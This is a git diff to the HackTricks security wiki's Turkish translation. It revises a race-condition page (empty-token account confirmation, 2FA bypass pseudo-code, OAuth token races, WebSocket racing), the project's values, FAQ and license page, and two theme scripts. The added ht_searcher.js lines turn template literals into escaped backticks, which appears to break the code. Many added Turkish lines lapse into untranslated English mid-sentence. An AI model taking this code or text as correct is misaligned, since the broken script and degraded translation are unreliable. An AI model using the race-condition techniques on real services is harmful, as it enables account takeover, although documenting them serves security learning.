-Bu nedenle bir hesap kaydı oluşturup hesabı hemen onaylamak için boş bir token ile (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek, e-postasını kontrol etmediğiniz bir hesabı **onaylamanıza** izin verebilir.
+Bu yüzden kayıt oluşturup hemen hesabı onaylamak için boş token'larla (`token=` veya `token[]=` veya diğer herhangi bir varyasyon`) birkaç istek göndermek, email'i kontrol etmediğiniz bir hesabı **confirm etmenize** izin verebilir.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Bypass 2FA
-Aşağıdaki pseudo-code race condition'a karşı savunmasızdır çünkü çok kısa bir süre için session oluşturulurken 2FA uygulanmamaktadır:
+Aşağıdaki pseudo-code race condition'a karşı savunmasızdır çünkü çok kısa bir süre boyunca session oluşturulurken **2FA uygulanmaz**:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -355,25 +363,25 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
-### OAuth2 eternal persistence
+### OAuth2 sürekli kalıcılık
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Bu servisler bir uygulama oluşturmanıza ve provider'ın kayıtlı kullanıcılarını authenticate etmenize izin verir. Bunu yapabilmek için **client**'ın **uygulamanıza izin vermesi** gerekir, **OAUth provider** içinde bazı verilerine erişmesi için.\
-Yani buraya kadar google/linkedin/github... ile yaygın bir login — karşınıza şu tarz bir sayfa çıkar: "_Uygulama \ bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?_"
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Bu servisler bir application oluşturmanıza ve provider'ın kayıtlı kullanıcılarını authenticate etmenize izin verir. Bunu yapabilmek için **client**'ın **permit your application** ile **OAUth provider** içindeki bazı verilerine erişmesine izin vermeniz gerekir.\
+Yani buraya kadar google/linkedin/github... ile yapılan sıradan bir login: karşınıza "_Application \ wants to access you information, do you want to allow it?_" diye bir sayfa çıkar.
#### Race Condition in `authorization_code`
-Problem, siz onayladığınızda ortaya çıkar ve otomatik olarak kötü amaçlı uygulamaya bir **`authorization_code`** gönderilir. Bu uygulama daha sonra OAUth service provider içindeki bir Race Condition'ı kötüye kullanarak hesabınız için `authorization_code`'dan birden fazla AT/RT (_Authentication Token/Refresh Token_) üretir. Temelde, uygulamaya verilerinize erişim izni vermenizin sağladığı durumu suistimal ederek **birden fazla hesap oluşturur**. Sonrasında uygulamanın verilerinize erişimine artık izin vermeyi bırakırsanız bir AT/RT çifti silinebilir, ancak diğerleri hâlâ geçerli olmaya devam eder.
+The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Sonrasında bu **application**, OAUth service provider'daki bir Race Condition'ı kullanarak hesabınız için **`authorization_code`**'dan birden fazla AT/RT (_Authentication Token/Refresh Token_) üretir. Temelde, uygulamaya verilerinize erişim izni verdiğiniz gerçeğini kötüye kullanarak **çeşitli hesaplar oluşturur**. Daha sonra eğer uygulamanın verilerinize erişmesine izin vermeyi **durdurursanız** bir AT/RT çifti silinebilir, fakat diğerleri hala geçerli olmaya devam eder.
#### Race Condition in `Refresh Token`
-Geçerli bir RT elde ettiğinizde, bunu birden fazla AT/RT üretmek için kötüye kullanmayı deneyebilirsiniz ve kullanıcı kötü amaçlı uygulamanın verilerine erişim iznini iptal etse bile birden fazla RT hâlâ geçerli olacaktır.
+Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** ve **even if the user cancels the permissions** kötü amaçlı uygulamanın verilerine erişimini iptal etse bile, **birkaç RT yine de geçerli kalacaktır.**
## **RC in WebSockets**
-- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
-- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) Java ile websocket mesajlarını **parallel** göndermek için bir PoC bulabilirsiniz; Web Sockets içinde de **Race Conditions**'ı kötüye kullanmak için.
+- Burp’un WebSocket Turbo Intruder ile **THREADED** engine'i kullanarak birden fazla WS bağlantısı başlatabilir ve paralel olarak payload'lar gönderebilirsiniz. Resmi örnekten başlayın ve `config()` (thread count) ile concurrency'yi ayarlayın; sunucu tarafı state'i WS handler'ları arasında race ederken tek bir bağlantıda batchlemeye kıyasla bu genellikle daha güvenilirdir. Bkz. [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
-## Referanslar
+## References
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index 1e9516abd..17700e1d1 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -1,21 +1,21 @@
-# HackTricks Değerleri & SSS
+# HackTricks Değerleri ve SSS
{{#include ../banners/hacktricks-training.md}}
## HackTricks Değerleri
> [!TIP]
-> Bunlar **HackTricks Projesi'nin değerleri**:
+> Bunlar HackTricks Projesi'nin **değerleri**:
>
-> - Tüm internete **ÜCRETSİZ** **EĞİTİMSEL hacking** kaynaklarına erişim sağlamak.
+> - İnternet'teki **TÜM** kişilere **EĞİTİMSEL hacking** kaynaklarına **ÜCRETSİZ** erişim sağlamak.
> - Hacking öğrenme ile ilgilidir ve öğrenme mümkün olduğunca ücretsiz olmalıdır.
-> - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olmaktır.
-> - **DEPOLAMAK** topluluğun yayımladığı harika **hacking** tekniklerini, **ORİJİNAL** **YAZARLARA** tüm **kredileri** vererek.
-> - **Başkalarının kredilerini almak istemiyoruz**, sadece herkes için harika numaraları depolamak istiyoruz.
-> - Ayrıca HackTricks'te **kendi araştırmalarımızı** yazıyoruz.
-> - Bazı durumlarda tekniklerin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla detay için **okuyucuyu orijinal yayına yönlendireceğiz**.
-> - Kitaptaki tüm **hacking** tekniklerini **DÜZENLEYEREK** daha **ERİŞİLEBİLİR** hale getirmek.
-> - HackTricks ekibi içeriği sadece düzenlemek için ücretsiz olarak binlerce saat ayırdı, böylece insanlar **daha hızlı öğrenebilir**
+> - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olarak hizmet etmektir.
+> - Topluluğun yayınladığı harika **hacking** tekniklerini **DEPOLAMAK** ve orijinal yazarlara tüm **kredileri** vermek.
+> - **Başkalarından kredi almak istemiyoruz**, sadece herkes için havalı numaraları depolamak istiyoruz.
+> - Ayrıca HackTricks'te **kendi araştırmalarımızı** da yazıyoruz.
+> - Bazı durumlarda yalnızca tekniğin önemli kısımlarının **özetini HackTricks'te** yazacağız ve daha fazla ayrıntı için okuyucuyu orijinal gönderiyi ziyaret etmeye **teşvik edeceğiz**.
+> - Kitaptaki tüm hacking tekniklerini **DÜZENLEMEK** böylece daha **ERİŞİLEBİLİR** hale getirmek
+> - HackTricks ekibi içeriği **sadece düzenlemek** için binlerce saati ücretsiz adadı ki insanlar **daha hızlı öğrenebilsin**
@@ -23,17 +23,17 @@
> [!TIP]
>
-> - **Bu kaynaklar için çok teşekkürler, nasıl teşekkür edebilirim?**
+> - **Bu kaynaklar için çok teşekkür ederim, size nasıl teşekkür edebilirim?**
-Tüm bu kaynakları kamuya açık şekilde toparladıkları için HackTricks ekibine bir tweet ile [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek teşekkür edebilirsiniz.\
-Özellikle minnettarsanız [**projeyi burada sponsor edebilirsiniz**](https://github.com/sponsors/carlospolop).\
+Kamuya açık olarak bu kaynakları bir araya getiren HackTricks ekibine bir tweet'te [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek teşekkür edebilirsiniz.\
+Eğer özellikle minnettar iseniz ayrıca [**proje için burada sponsor olabilirsiniz**](https://github.com/sponsors/carlospolop).\
Ve Github projelerine **yıldız vermeyi unutmayın!** (Bağlantıları aşağıda bulabilirsiniz).
> [!TIP]
>
> - **Projeye nasıl katkıda bulunabilirim?**
-Kitaplarda bulduğunuz hataları düzeltmek veya toplulukla **yeni ipuçları ve numaralar paylaşmak** için ilgili Github sayfalarına bir **Pull Request** göndererek katkıda bulunabilirsiniz:
+Toplulukla **yeni ipuçları ve püf noktaları paylaşabilir veya** kitaplarda bulduğunuz hataları düzelterek ilgili Github sayfalarına bir **Pull Request** gönderebilirsiniz:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@@ -44,14 +44,14 @@ Github projelerine **yıldız vermeyi unutmayın!**
>
> - **HackTricks'ten bazı içerikleri kopyalayıp bloguma koyabilir miyim?**
-Evet, koyabilirsiniz; ancak içeriğin alındığı **belirli link(leri) belirtmeyi unutmayın**.
+Evet, koyabilirsiniz; ancak içeriğin alındığı **belirli link(leri)** belirtmeyi unutmayın.
> [!TIP]
>
-> - **HackTricks'ten bir sayfayı nasıl alıntılarım?**
+> - **HackTricks'ten bir sayfayı nasıl kaynak gösterebilirim?**
Bilgiyi aldığınız sayfanın link(lerinin) görünmesi yeterlidir.\
-Bibtex'e ihtiyacınız varsa şöyle bir şey kullanabilirsiniz:
+Bibtex'e ihtiyacınız varsa şu şekilde kullanabilirsiniz:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
-> - **HackTricks'in tamamını blogumda kopyalayabilir miyim?**
+> - **HackTricks'in tüm içeriğini kendi bloguma kopyalayabilir miyim?**
-**Tercih etmem**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak halka açık.**
+**Tercih etmem**. Bu **kimseye fayda sağlamaz** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak** kamuya açıktır.
-Eğer kaybolacağından korkuyorsanız, Github'da forklayın ya da indirin; dediğim gibi zaten ücretsiz.
+Kaybolacağından korkuyorsanız, Github'da fork'layın veya indirin; dediğim gibi zaten ücretsiz.
> [!WARNING]
>
> - **Neden sponsorlarınız var? HackTricks kitapları ticari amaçlı mı?**
-İlk **HackTricks** **değeri**, dünya çapında **HERKESE** **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat** ayırdı, yeniden söylüyorum, **ÜCRETSİZ** olarak.
+İlk **HackTricks** **değeri**, dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat** ayırdı, tekrar belirtmek gerekirse, **ÜCRETSİZ**.
-Eğer HackTricks kitaplarının **ticari amaçlı** yapıldığını düşünüyorsanız, **TAMAMEN YANILIYORSUNUZ**.
+HackTricks kitaplarının **ticari amaçlı** olduğunu düşünüyorsanız **TAMAMEN YANILIYORSUNUZ**.
-Sponsorlarımızın olmasının nedeni şudur: içeriğin tamamı ÜCRETSİZ olsa bile, topluluğa yaptığımız çalışmayı takdir etme imkanı sunmak istiyoruz. Bu nedenle insanlara HackTricks'e [**Github sponsors**](https://github.com/sponsors/carlospolop) üzerinden bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketlerinin** HackTricks'e sponsor olmasına ve kitapta bazı **reklamlar** bulunmasına izin veriyoruz; bu **reklamlar** her zaman görünür ama içeriğe odaklanan birinin öğrenme sürecini **rahatsız etmeyecek** yerlere konulur.
+Sponsorlarımızın olmasının nedeni, tüm içerik ÜCRETSİZ olsa bile, topluluğa **çalışmamızı takdir etme imkanı** sunmak istememizdir. Bu nedenle insanlara HackTricks'e bağış yapma seçeneği sunuyoruz via [**Github sponsors**](https://github.com/sponsors/carlospolop) ve **ilgili siber güvenlik şirketleri** HackTricks'e sponsor olabiliyor ve kitapta **bazı reklamlar** yer alabiliyor; bu **reklamlar** her zaman görünür yerlere yerleştirilir ancak birinin içeriğe odaklanmasını **engellemez**.
-HackTricks'i, içeriği HackTricks'ten çok daha az olan ve can sıkıcı reklamlarla dolu diğer bloglar gibi bulamayacaksınız; çünkü HackTricks ticari amaçla yapılmadı.
+HackTricks'i, içeriği HackTricks'ten çok daha az olan diğer bloglardaki rahatsız edici reklamlara doldurulmuş halde bulamazsınız; çünkü HackTricks ticari amaçla yapılmamıştır.
> [!CAUTION]
>
-> - **HackTricks sayfası blog yazıma dayanıyor ama referans verilmemişse ne yapmalıyım?**
+> - **HackTricks sayfası benim blog yazıma dayanıyor ama referans verilmemişse ne yapmalıyım?**
-**Çok üzgünüz. Bu olmaması gereken bir şey.** Lütfen bize Github issues, Twitter, Discord... üzerinden HackTricks sayfasındaki içeriğin linkini ve blogunuzun linkini bildirin; **kontrol edip en kısa sürede ekleyeceğiz**.
+**Çok üzgünüz. Bu olmamalıydı**. Lütfen bize Github issues, Twitter, Discord... üzerinden ilgili HackTricks sayfasının linkini ve blogunuzun linkini bildirin, **inceleyip en kısa sürede ekleyeceğiz**.
> [!CAUTION]
>
-> - **HackTricks'te blogumdan alınmış içerik varsa ve bunun olmasını istemiyorsam ne yapmalıyım?**
+> - **Blogumun içeriği HackTricks'te varsa ve orada olmasını istemiyorsam ne yapmalıyım?**
-HackTricks'te sayfanıza verilen linklerin:
+HackTricks'te sayfanıza verilen linklerin olduğunu unutmayın:
-- SEO'nuzu geliştirir
-- İçerik **15'ten fazla dile** çevrilir, bu sayede daha fazla kişinin bu içeriğe erişmesi mümkün olur
-- **HackTricks**, insanların **sayfanızı incelemesini teşvik eder** (bize ulaşan birkaç kişi, sayfalarının HackTricks'te yer almasından sonra daha fazla ziyaret aldıklarını belirtmiştir)
+- SEO'nuzu **iyileştirir**
+- İçerik **15'ten fazla dile** çevrilebilir, böylece daha fazla insan bu içeriğe erişebilir
+- **HackTricks**, insanların **sayfanızı incelemesini teşvik eder** (bazı kişiler bize, sayfalarının HackTricks'te yer almasından bu yana daha fazla ziyaret aldıklarını bildirdi)
-Buna rağmen blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız, bize bildirin; kesinlikle **blogunuza verilen tüm linkleri** ve ona dayanan tüm içeriği kaldıracağız.
+Ancak hâlâ blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız, bize bildirin; blogunuza ait tüm linkleri ve ondan türetilmiş içeriği kesinlikle **kaldıracağız**.
> [!CAUTION]
>
> - **HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?**
-Biz her zaman **orijinal yazarlara tüm kredi veririz**. Eğer orijinal kaynak gösterilmeden kopyala-yapıştır yapılmış bir sayfa bulursanız, bize bildirin; sayfayı ya **kaldırırız**, ya **metinden önce orijinal linki ekleriz**, ya da **linki ekleyerek yeniden yazarız**.
+Her zaman **orijinal yazarlara tüm krediyi veriyoruz**. Eğer orijinal kaynak referans verilmeden kopyala-yapıştır yapılmış bir sayfa bulursanız, bize bildirin; ya **kaldıracağız**, ya **metinden önce link ekleyeceğiz**, ya da **link ekleyerek yeniden yazacağız**.
## LİSANS
-Telif Hakkı © Her hakkı saklıdır aksi belirtilmedikçe.
+Telif Hakkı © Her hakkı saklıdır, aksi belirtilmedikçe.
#### Lisans Özeti:
-- Atıf: Şunları yapma hakkına sahipsiniz:
-- Share — materyali herhangi bir ortamda veya formatta kopyalamak ve yeniden dağıtmak.
-- Adapt — materyali remixlemek, dönüştürmek ve üzerine inşa etmek.
+- Atıf: Şunları yapabilirsiniz:
+- Share — materyali herhangi bir ortamda veya formatta kopyalayın ve yeniden dağıtın.
+- Adapt — materyali yeniden düzenleyin, dönüştürün ve üzerine inşa edin.
-#### Ek Koşullar:
+#### Ek Şartlar:
-- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri diğer kaynaklardan, örneğin diğer bloglardan veya yayınlardan alıntılar içerebilir. Bu tür içeriklerin kullanımı adil kullanım ilkelerine veya ilgili telif hakkı sahiplerinden alınan açık izne bağlı olarak yapılmaktadır. Üçüncü taraf içeriğe ilişkin özel lisans bilgileri için lütfen orijinal kaynaklara bakın.
-- Yazarlık: HackTricks tarafından oluşturulan orijinal içerik bu lisansın şartlarına tabidir. Bu eseri paylaştığınızda veya uyarladığınızda yazara atıf yapmanız teşvik edilir.
+- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi başka kaynaklardan içerik içerebilir. Bu tür içeriğin kullanımı adil kullanım ilkeleri kapsamında veya ilgili telif hakkı sahiplerinden açık izin alınarak yapılmıştır. Üçüncü taraf içeriğe ilişkin spesifik lisans bilgileri için lütfen orijinal kaynaklara başvurun.
+- Yazarlık: HackTricks tarafından oluşturulan orijinal içerik bu lisansın şartlarına tabidir. Bu çalışmayı paylaşırken veya uyarlarken yazara atıf yapmanız teşvik edilir.
#### Muafiyetler:
-- Ticari Kullanım: Bu içeriğin ticari kullanımıyla ilgili sorular için lütfen benimle iletişime geçin.
+- Ticari Kullanım: Bu içeriğin ticari kullanımı ile ilgili sorular için lütfen benimle iletişime geçin.
-Bu lisans içerikle ilgili herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalamalar ilgili hak sahiplerinin mülkiyetindedir.
+Bu lisans, içerikle ilgili herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalama, ilgili sahiplerinin mülkiyetindedir.
-**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul ediyorsunuz. Bu şartları kabul etmiyorsanız, lütfen bu web sitesine erişmeyin.**
+**HackTricks'e erişerek veya HackTricks'i kullanarak, bu lisansın şartlarına uymayı kabul etmiş olursunuz. Bu şartları kabul etmiyorsanız, lütfen bu web sitesine erişmeyin.**
## **Feragatname**
> [!CAUTION]
-> Bu kitap, 'HackTricks', yalnızca eğitimsel ve bilgilendirme amaçlıdır. Bu kitaptaki içerik "olduğu gibi" sağlanmaktadır ve yazarlar ile yayınevleri, içerikte yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya bulunabilirliği konusunda açık veya zımni hiçbir beyan veya garanti vermez. Bu tür bilgilere dayanan her türlü güven tamamen sizin sorumluluğunuzdadır.
+> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitaptaki içerik "olduğu gibi" sağlanmakta olup, yazarlar ve yayıncılar içerikteki bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya erişilebilirliği konusunda açık veya zımni herhangi bir beyan veya garanti vermezler. Bu tür bilgilere duyduğunuz güven tamamen sizin sorumluluğunuzdadır.
>
-> Yazarlar ve yayınevleri, veri kaybı veya kullanımdan kaynaklanan kar veya diğer zararlar dahil olmak üzere ancak bunlarla sınırlı olmamak üzere hiçbir durumda bu kitaptan kaynaklanan veya bağlantılı herhangi bir zarar veya kayıp için sorumlu tutulamaz.
+> Yazarlar ve yayıncılar, hiçbir durumda veri veya kar kaybı dâhil ancak bunlarla sınırlı olmamak üzere dolaylı veya sonuçsal zararlar da dâhil olmak üzere herhangi bir zarar veya kayıp için sorumlu tutulamaz.
>
-> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitimsel ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayınevleri herhangi bir yasa dışı veya etik dışı faaliyeti onaylamaz veya desteklemez; bu kitaptaki bilgilerin kullanılması tamamen kullanıcının kendi riski ve takdirindedir.
+> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasadışı veya kötü amaçlı etkinlik için kullanılmamalıdır. Yazarlar ve yayıncılar herhangi bir yasa dışı veya etik olmayan etkinliği onaylamaz veya desteklemez; bu kitaptaki bilgilerin kullanımı kullanıcının kendi riski ve takdirindedir.
>
-> Kullanıcı, bu kitaptaki bilgilere dayanarak alınan herhangi bir eylemden tek başına sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve destek almalıdır.
+> Kullanıcı, bu kitapta yer alan bilgilere dayanarak yapılan herhangi bir eylemden münhasıran sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım almalıdır.
>
-> Bu kitabı kullanarak, kullanıcı yazarları ve yayınevlerini bu kitaptan veya içindeki bilgilerin kullanımından doğabilecek her türlü zarar, kayıp veya zarardan muaf tutmayı kabul eder.
+> Bu kitabı kullanarak, kullanıcı yazarları ve yayıncıları bu kitabın veya içeriğindeki bilgilerin kullanımı sonucunda meydana gelebilecek herhangi bir zarar, kayıp veya zarardan dolayı tüm sorumluluk ve yükümlülükten feragat etmeyi kabul etmiş olur.
{{#include ../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 761454181..22e64f5f8 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();
+
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
index 77f10f607..6b105f263 100644
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
- const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
- const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+ const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+ const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
- const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
- const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+ const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+ const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();
+